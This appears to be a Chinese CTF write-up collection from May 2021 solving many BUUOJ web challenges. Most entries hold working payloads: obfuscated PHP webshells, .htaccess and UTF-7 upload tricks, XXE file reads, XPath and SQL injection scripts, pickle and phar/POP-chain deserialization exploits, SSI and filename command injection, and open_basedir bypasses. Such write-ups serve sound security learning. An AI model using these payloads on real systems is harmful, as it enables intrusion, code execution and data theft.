2021年5月

[极客大挑战 2019]RCE ME

通过取反urlencode

C:\Users\Administrator> php -r "echo urlencode(~'phpinfo');"
%8F%97%8F%96%91%99%90

发现执行命令的函数都被ban了。
先用传个马用蚁剑连上,

<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[hack]))';
$d=urlencode(~$c);
echo $d;
?>

payload:

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%97%9E%9C%94%A2%D6%D6);

连上之后可以直接通过蚁剑的disable_functions直接绕过
具体的原理放个链接

[SUCTF 2019]EasyWeb

有长度限制的无数字字母写shell,主要参考链接
这里采用异或绕过

<?php
$l = "";
$r = "";
$argv = str_split("_GET");  ##将_GET分割成一个数组,一位存一个值
for($i=0;$i<count($argv);$i++){   
    for($j=0;$j<255;$j++)
    {
        $k = chr($j)^chr(255);    ##进行异或         
        if($k == $argv[$i]){
            if($j<16){  ##如果小于16就代表只需一位即可表示,但是url要求是2位所以补个0
                $l .= "%ff";
                $r .= "%0" . dechex($j);
                continue;
            }
            $l .= "%ff";
            $r .= "%" . dechex($j);
        }
    }}
echo "\{$l`$r\}";  ### 这里的反引号只是用来区分左半边和右半边而已
?>

为突破题中的上传的限制,这里采用的是上传.htaccess,
最后对 ```python
import requests
import base64
url="http://27599faf-aa11-40af-82aa-79ff4bc28fe5.node3.buuoj.cn/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"
htaccess=b"""\x00\x00\x85\x48\x85\x18
AddType application/x-httpd-php .test
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/1.test" ##这里需要替换为自己上传的文件名
"""
shell=b"GIF89a"+b"aa"+base64.b64encode(b"<?php @eval($_GET[cmd])?>") #aa为了满足base64算法凑足八个字节

#first_upload ---- to upload .htaccess

files1={
'file':('.htaccess',htaccess,'image/jpeg')
}
r1=requests.post(url=url,files=files1)
print (r1.text)

#second_upload ---- to upload .shell
#
files2={
'file':('1.test',shell)
}
r1=requests.post(url,files=files2)
print (r1.text)

<pre><code class="line-numbers">最后对open_dir的绕过可参考[这个](https://www.163.com/dy/article/ECQSCP9E0511CJ6O.html "这个")
**payload:**
```php
/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/1.test?cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));

[RoarCTF 2019]Simple Upload

tp的文件上传漏洞,非预期解直接用<>绕过了

payload
url = "url/index.php/home/index/upload/"
s = requests.Session()
files = {"file": ("shell.<>php", "<?php eval($_GET['cmd'])?>")}
r = requests.post(url, files=files)
print(r.text)

但不知道为什么我没成功。
预期解是利用tp多文件上传+方法的错误使用造成的漏洞

upload() 函数不传参时为多文件上传,整个 $_FILES 数组的文件都会上传保存。
使用的是uniqid来生成文件名,同时上传txt文件跟php文件,txt上传后的文件名跟php的文件名非常接近。我们只需要构造Burp包,遍历爆破txt文件名后三位 0-9 a-f 的文件名,就能猜出php的文件名。

最后的payload(来自penson by 小乌师傅)

import requests
url = 'http://598b202c-5c60-4a06-b5a1-83ef646f7a82.node3.buuoj.cn/index.php/home/index/upload'
s = requests.Session()

file1 = {"file":("shell","123",)}
file2 = {"file[]":("shell.php","<?php @eval($_POST[penson]);")} #批量上传用[]
r = s.post(url,files=file1)
print(r.text)
r = s.post(url,files=file2)
print(r.text)
r = s.post(url,files=file1)
print(r.text)

'''爆破'''

dir ='abcdefghijklmnopqrstuvwxyz0123456789'

for i in dir:
    for j in dir:
        for k in dir:
            for x in dir:
                for y in dir:
                    url = 'http://598b202c-5c60-4a06-b5a1-83ef646f7a82.node3.buuoj.cn/Public/Uploads/2020-06-01/5ed4adac{}{}{}{}{}'.format(i,j,k,x,y)
                    print(url)
                    r = requests.get(url)
                    if r.status_code == 200:
                        print(url)
                        break

然鹅我还是没成功。。。。。。

[HarekazeCTF2019]Avatar Uploader 1

利用不同函数的处理机制不同的绕过。

在检查文件类型时,finfo_file()函数检测上传图片的类型是否是image/png
在检查文件长宽时,getimagesize() 函数用于获取图像大小及相关信息,成功将返回一个数组,
Array
(
    [0] => 290
    [1] => 69
    [2] => 3
    [3] => width="290" height="69"
    [bits] => 8
    [mime] => image/png
)

finfo_file会检查第一行十六进制的内容进行判断而getimagesize不会,因此可以把png图片的十六进制格式除第一行以外都删掉就可以绕过。

[SUCTF 2018]GetShell

存在black_list,先fuzz一下(脚本来自末初)

# -*- coding:utf-8 -*-
# Author: m0c1nu7
import requests

def ascii_str():
    str_list=[]
    for i in range(33,127):
        str_list.append(chr(i))
    #print('可显示字符:%s'%str_list)
    return str_list

def upload_post(url):
    str_list = ascii_str()
    for str in str_list:
        header = {
        'Host':'3834350a-887f-4ac1-baa4-954ab830c879.node3.buuoj.cn',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0',
        'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
        'Accept-Encoding':'gzip, deflate',
        'Content-Type':'multipart/form-data; boundary=---------------------------339469688437537919752303518127'
        }
        post = '''-----------------------------339469688437537919752303518127
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain

12345'''+str+'''
-----------------------------339469688437537919752303518127
Content-Disposition: form-data; name="submit"

提交          
-----------------------------339469688437537919752303518127--'''

        res = requests.post(url,data=post.encode('UTF-8'),headers=header)
        if 'Stored' in res.text:
            print("该字符可以通过:  {0}".format(str))
        else:
            print("过滤字符:  {0}".format(str))



if __name__ == '__main__':
    url = 'http://3834350a-887f-4ac1-baa4-954ab830c879.node3.buuoj.cn/index.php?act=upload'
    upload_post(url)

能冲的字符有

$、(、)、.、;、=、[、]、_、~

看来是要用汉字写马了,
先把汉字用ascii编码显示,取其中的一个字符进行取反,得到我们想要的字母,

echo ~茉[$____];//s
echo ~内[$____];//y
echo ~茉[$____];//s
echo ~苏[$____];//t
echo ~的[$____];//e
echo ~咩[$____];//m
echo ~课[$____];//P
echo ~尬[$____];//O
echo ~笔[$____];//S
echo ~端[$____];//T
echo ~瞎[$____];//a
payoad:
<?=$_=[];$__.=$_;$____=$_==$_;$___=~茉[$____];$___.=~内[$____];$___.=~茉[$____];$___.=~苏[$____];$___.=~的[$____];$___.=~咩[$____];$_____=_;$_____.=~课[$____];$_____.=~尬[$____];$_____.=~笔[$____];$_____.=~端[$____];$__________=$$_____;$___($__________[~瞎[$____]]);

[ISITDTU 2019]EasyPHP

这题是真他娘的恶心!!!参考
取反或异或写马,先看看phpinfo,发现disable_function过滤了一片,open_basedir还开了限制,只能尝试用scandir和print_r的组合了。
预计payload:

print_r(scandir('.'));==((%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%96%8d)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));

但是对字符种类的限制绕不过去,还要写别的脚本来删

result2 = [0x8b, 0x9b, 0xa0, 0x9c, 0x8f, 0x91, 0x9e, 0xd1, 0x96, 0x8d, 0x8c]  # Original chars,11 total
result = [0x9b, 0xa0, 0x9c, 0x8f, 0x9e, 0xd1, 0x96, 0x8c]  # to be deleted
temp = []
for d in result2:
    for a in result:
        for b in result:
            for c in result:
                if (a ^ b ^ c == d):
                    if a == b == c == d:
                        continue
                    else:
                        print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d))
                        if d not in temp:
                            temp.append(d)
print(len(temp), temp)

删除后能发现一个可能有flag的文件,读取即可

payload:
show_source(end(scandir(.)));=((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));

[XNUCA2019Qualifier]EasyPHP

由于文件内容存在过滤,我们不能直接把auto_prepend_file写进.htaccess,
但是我们可以通过.htaccess把error_log中的信息写进fl3g.php,那么把马写进error_log,又因为fl3g.php被包含,就成功把马写进了初始页面。
这里的报错可以通过设置include_path到一个不存在的文件夹即可触发包含时的报错,且include_path的值也会被输出到屏幕上。
最后的脏字符可以用#注释

payload:
php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[2]))+ADs +AF8AXw-halt+AF8-compiler()+ADs"
php_value error_reporting 32767
php_value error_log /tmp/fl3g.php
#

这里还有个问题,就是error_log中的数据是经过htmlentities处理的,无法直接用<\?,
这样的话我们可以用UTF-7编码来绕过

php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value include_path "/tmp"
#

[CISCN2019 华东南赛区]Web11

先写个脚本找一下v6

import requests
url="url/shop?page="
for i in range(0,2000):
    r=requests.get(url+str(i))
    if 'lv6.png' in r.text:
       print (i)
       break

抓一下包,发现是JWT认证
用c-jwt-cracker暴力破解密钥
获得源码,发现python反序列化,没有过滤直接跑

import pickle
import urllib
class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a

[HFCTF2020]BabyUpload

开局送源码,如果我们要得到flag要满足两个条件

1.session验证为admin
2.存在success.txt文件

查看一下现在sess中存的内容,发现是php_binary处理的反序列化,那岂不是可以直接伪造了。

<?php
ini_set('session.serialize_handler', 'php_binary');
session_save_path("D:\\phpstudy_pro\\WWW\\testphp\\");
session_start();

$_SESSION['username'] = 'admin';

生成sess文件,把文件名改为sess并计算sha256,
这样,如果我们将sess文件上传,服务器储存该文件的文件名就应该是

sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4

查询后发现username被设置为了admin
file_exits即可以判断文件,也可以判断目录,这里直接传一个success.txt的目录即可
最后修改session,刷新得flag。

[CISCN2019 华东南赛区]Web4

file:///etc/passwd没反应,路由的处理方式不想php,用Flask的试试

local_file:///app/app.py

成功读取源码。
经分析,只要伪造seesion就能读flag,而密钥是以uuid.getnode(),也就是mac地址为种子生成的。

读取mac地址:local_file:///sys/class/net/eth0/address

用python2生成种子(不同python版本保留位数不同),Flask专用的脚本加密

python3 .\flask_session_cookie_manager3.py encode -s '82.5659952704' -t "{'username': b'fuck'}"
eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.XyEe_Q.wc_dKYSv6ifGWLT1XbJyT4VjIhY

替换后访问/flag即可。

[NCTF2019]True XML cookbook

抓包发现XXE,构造payload

<?xml version="1.0" ?>
<!DOCTYPE a[
<!ENTITY name SYSTEM "file:///etc/passwd">]
>
<user><username>&name;</username><password>1</password></user>

通过/etc/host查看内网存活主机:
然后用bp爆破C段:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM  "http://10.34.239.11">
]>
<user>
  <username>&file;</username>
  <password>password</password>
</user>

拿到flag。

[BSidesCF 2019]SVGMagic

SVG是XMl的图片,换句话说SVG文件中能执行XXE

payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

[CSAWQual 2019]Web_Unagi

显然是XML,但是存在过滤,这里用utf-16编码绕过

payload
<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
    <user>
        <username>bob</username>
        <password>passwd2</password>
        <name> Bob</name>
        <email>bob@fakesite.com</email>  
        <group>CSAW2019</group>
        <intro>&xxe;</intro>
    </user>
</users>

然后在linux下执行转化命令

iconv -f utf8 -t utf-16 2.xml>1.xml

上传,拿flag,结束。

[GoogleCTF2019 Quals]Bnv

这是个使用本地DTD文件的XXE漏洞。
通常来说要是我们有个能引用外部实体的XXE,自然是想让它请求我们vps上的dtd来操作,但要是防火墙严点就出不去,只能用本地的dtd。

linux自带的dtd文件路径:/usr/share/yelp/dtd/docbookx.dtd

那么引用这个实体,因为所有XML实体都是常量,如果定义两个具有相同名称的实体则仅使用第一个实体。

payload:
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % ISOamso '
        <!ENTITY % file SYSTEM "file:///flag">
        <!ENTITY % eval "<!ENTITY % error SYSTEM 'test%file;'>">
        %eval;
        %error;
    '>
    %local_dtd;
]>

参考1,2

[NPUCTF2020]ezlogin

XPATH注入,长见识了
参考里说的很明白了,基本原理就是利用XPATH语法逐节点进行查询
payload(来自penson by 小乌)

import requests
import re

s = requests.session()
url ='http://4ab0514f-3518-44ad-9b5f-f8c60fb0ea92.node3.buuoj.cn/login.php'



head ={
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
    "Content-Type": "application/xml"
}
find =re.compile('<input type="hidden" id="token" value="(.*?)" />')

strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'


flag =''
for i in range(1,100):
    for j in strs:

        r = s.post(url=url)
        token = find.findall(r.text)
        #猜测根节点名称
        payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
        #猜测子节点名称
        payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测accounts的节点
        payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测user节点
        payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #跑用户名和密码
        payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])


        print(payload_username)
        r = s.post(url=url,headers=head,data=payload_username)
        print(r.text)


        if "非法操作" in r.text:
            flag+=j
            print(flag)
            break

    if "用户名或密码错误!" in r.text:
        break

print(flag)

出了后用admin登录,发现可能存在文件包含,利用大小写绕过直接用伪协议读flag即可。

[BJDCTF2020]EasySearch

swp源码泄露,需要md5前6位固定

import hashlib
for i in range(10000000):
    a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
    b = a[0:6]
    if b == '6d0bc1':
        print(i)
        print(a)

然后是SSI注入

SSI 注入全称Server-Side Includes Injection,即服务端包含注入。SSI 是类似于 CGI,用于动态页面的指令。SSI 注入允许远程在 Web 应用中注入脚本来执行代码。
SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。
从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。

payload:

username=<!--#exec cmd="ls ../"-->
password=2020666

[SCTF2019]Flag Shop

Ruby的模板注入,离谱。。。。。。参考链接
在robots.txt中发现提示/filebak,打开获得源码。
利用的注入点:

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end

如果do和name匹配则输出name中的值,存在长度限制,注意到前面有一次对密钥的正则匹配,这里用Ruby的预变量

$': The string to the right of the last successful match.

传入do和name=<%=$\'%>(编码后)

work?SECRET=&name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%25%3e%20is%20working

伪造jwt密钥修改money购买flag即可。

[MRCTF2020]Ezaudit

审计PHP代码发现$Public_key = KVQP0LdJKRaV3n9D,可以借此得到该PHP代码使用的随机数种子,简单处理后直接拿脚本跑(注意PHP版本)。
发现登陆框,直接上万能密码

 1' or 1 = 1#

[GXYCTF2019]StrongestMind

写个脚本进行计算就行了

import re
import requests
from time import sleep

def count():
    s = requests.session()
    url = 'http://c39b6aaa-4d51-4b1d-b777-32741c72ccc8.node3.buuoj.cn/'
    match = re.compile(r"[0-9]+ [+|-] [0-9]+")
    r = s.get(url)
    for i in range(1001):
        sleep(0.1)
        str = match.findall(r.text)[0]
        # print(eval(str))
        data = {"answer" : eval(str)}
        r = s.post(url, data=data)
        r.encoding = "utf-8"
        print('{} : {}'.format(i,eval(str)))
        # print(r.text)
    print(r.text)

if __name__ == '__main__':
    count()

[N1CTF 2018]eating_cms

有外网渗透内味儿了
发现能用伪协议读源码,读一下function.php,发现ffffllllaaaaggg,但存在过滤。
这里利用parse解析的漏洞:

//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg

根据得到的信息访问templates/upload.html,发现是个假的。。。。。。
查看upllloadddd.php文件,发现命令执行

$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");

在m4aaannngggeee中上传文件,修改文件名

;cd ..;cat flag_233333;#

bingo!

[安洵杯 2019]easy_serialize_php

前面的略了,主要看最后的键值逃逸。
filter会将非法字符全部替换为空,这意味着可以构造特定的字符串进行逃逸。

payload:
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

在经过

extract($_POST);

处理后变成

"a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mbGxsbGxsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

右花括号后面的被抛弃,从而实现绕过。

[0CTF 2016]piapiapia

这道题是由于序列化字符串中某些关键字被替换成更长的字符串形成的简直逃逸。
如果

nickname='";}s:5:"photo";s:10:"config.php";}'

便可以控制photo的值,从而获得flag。
这一段字符的长度是34,而每一个where关键字都会被替换为hacker,使序列化字符串整体长度+1,那么如果nickname中有34个where,nickname序列化后的刚好能让有效长度截止到我们想要的位置。
前面对nickname的一层过滤用nickname绕过。
payoad:

nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

[MRCTF2020]Ezpop

经典POP链,先贴一份PHP魔术方法:

__construct   当一个对象创建时被调用,
__toString   当一个对象被当作一个字符串被调用。
__wakeup()   使用unserialize时触发
__get()    用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke()   当脚本尝试将对象调用为函数时触发

最后是通过append函数中的include包含flag.php
然后构造pop链:

Show::__toString -> Test::__get -> Modifier::__invoke

payload

<?php
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php' ;

}

class Show{
    public $source;
    public $str;
    public function __construct($file){
    $this->source = $file;
    }
    public function __toString(){
        return "karsa";
    }
}

class Test{
    public $p;
}

$a = new Show('aaa');
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));
?>

[CISCN2019 华北赛区 Day1 Web1]Dropbox

phar反序列化
burp抓包,发现任意文件下载:../../index.php
重点关注class.php
pop链:

User::__destruct() -> Filelist::__call() -> File::close()

payload:

<?php
class User {
    public $db;
}
class File {
    public $filename;
}
class FileList {
    private $files;
    public function __construct() {
        $file = new File();
        $file->filename = "/flag.txt";
        $this->files = array($file);
    }
}

$a = new User();
$a->db = new FileList();
$phar = new Phar("1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
//签名自动计算
$phar->stopBuffering();
?>

把生成的文件名改为1.png,
最后删除时把包名改为phar://1.png。

[SWPUCTF 2018]SimplePHP

还是phar反序列化,先找pop链

C1e4r::__destruct -> Show::__toString() -> Test::__get() -> Test::get() -> Test::file_get()

生成相应的phar

<?php
class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
}
$a=new C1e4r();
$b=new Show();
$c=new Test();
$c->params['source']='/var/www/html/f1ag.php';
$b->str['str']=$c;
$a->str=$b;


$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a);    //将自定义的$a存入meta-data,最后被反序列化
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

最后访问md5后的文件名即可

[GYCTF2020]EasyThinking

现成的POC
session设为32位,key里直接写马。
连上之后用蚁剑直接绕过open_basedir()即可。

[强网杯 2019]Upload

源码显示是tp5框架,
上传的文件会被改为png类型,但修改文件名的过程恰好是我们能利用的,
用户信息被序列化后直接在cookie中传输。
在Register中找到__destruct函数,调用Profile中的upload_img函数即可任意修改文件名。
pop链:

Register::__destruct -> Profile::__call -> Profile::__get -> Profile::upload_img()

payload:

<?php
class Register {
    public $register = false;
    public $check;
}

class Profile {
    public $checker = false;
    public $filename_tmp = "..public/upload/d99081fe929b750e0557f85e6499103f/bd3ffacd4225f8a5c2a658f565614b2a.png";
    public $filename = "..public/upload/d99081fe929b750e0557f85e6499103f/hack.php";
    public $upload_menu;
    public $ext = true;
    public $img;
    public $except = array('index' => 'upload_img');
}
$a=new Register();
$a->checker=new Profile();
$a->checker->checker = 0;
echo base64_encode(serialize($a));
?>

最后蚁剑连上即可。

[GYCTF2020]Easyphp

反序列化逃逸,开局得源码,在lib.php中寻找pop链,

UpdateHelper::__destruct -> User::__toString -> Info::__call -> dbCtrl::login()

最后login中的参数都是可控的,可以返回admin的相关信息。
payload:(来自fmyyy1)

<?php
    class User{
        public $age=null;
        public $nickname=null;
        public function __construct(){
            $this->age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
            $this->nickname = new Info();
        }
    }

    class Info{
        public $CtrlCase;
        public function __construct(){
            $this->CtrlCase = new dbCtrl();
        }
    }
    Class UpdateHelper{
        public $sql;
        public function __construct()
        {
            $this->sql = new User();
        }
    }
    class dbCtrl{
        public $name = "admin";
        public $password = "1";
    }

    $o = new UpdateHelper;
    echo serialize($o);

序列化字符串经getNewInfo函数处理,其中存在键值逃逸。

age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

[安洵杯 2019]不是文件上传

有__destruct,接上view_files能直接读文件,关键是如何利用。

<?php
class helper {
        protected $ifview = True; 
        protected $config = "/flag";
}

$a = new helper();
echo bin2hex(serialize($a));

再分析,发现会把传入图片的长宽进行反序列化,长宽不可控,但我们却可以控制文件名filename。
在insert语句中发现可以注入,通过构造特殊的filename可实现对长宽的操作。

payload:
filename="a','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#"

过滤了单引号因此要改为16进制。

[GXYCTF2019]BabysqliV3.0

伪协议读一下源码,发现任意命令执行,但没有unserialize只有文件上传所以。。。
phar反序列化嘛显然。
原理就是phar协议可以不依赖unserialize进行反序列化操作,命令执行的条件就是token和session[\'user\']相等就好了。
先随便传个东西拿到session[\'user\'],然后传phar就好了

payload:
<?php

class Uploader{
    public $Filename;
    public $cmd;
    public $token;
}

$a = new Uploader();
$a->Filename = "test";
$a->token = "GXYeb8a98c788e94834d92995b22bf05f07";
$a->cmd = 'highlight_file("/var/www/html/flag.php");';

echo serialize($a);

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();

然后将这个路径带上phar://作为name参数的值,再随意上传一个文件,因为$this->Filename被我们手工指定为phar,触发了phar反序列化导致命令执行。

[EIS 2019]EzPOP

寻找pop链但又有些有趣的新东西。
pop链:

A::__destruct -> A::save -> A::getForStorage -> A::cleanContents
A::save -> B::_set

关键是在cleanContents中的处理,这一部分我们可控,所以可以尝试写马。

base64解码有一个特性,就是会自动忽略不合法的字符

那么json返回的[\"\"]等符号都不会被解析,
所以只要把马用base64编码一下赋给 this->complete就可。
B中的serialize中存在动态函数,将让serialize为base64_decode就可将马还原回去了。
下一个问题就是绕过data中的exit,
同样,我们还是应用base解码时的性质,传入

php://filter/write=convert.base64-decode/resource=

强制把exit给base64了(注意要不全4的倍数个字符),那么它就会被识别为乱码从而不执行。

payload:
<?php
    class A{
        protected $store;
        protected $key;
        protected $expire;

        public function __construct(){
            $this->key = 'shell.php';
            $this->store = new B();
            $this->cache = array();
            $this->autosave = false;
            $this->complete = base64_encode('xxx'.'PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOz8+');
            $this->expire = 0;
        }
    }


    class B{
        public $options;
        public function __construct(){
            $this->options['prefix'] = "php://filter/write=convert.base64-decode/resource=";
            $this->options['data_compress'] = false;
            $this->options['serialize'] = 'base64_decode';
        }

    }

    $a = new A();
    echo urlencode(serialize($a));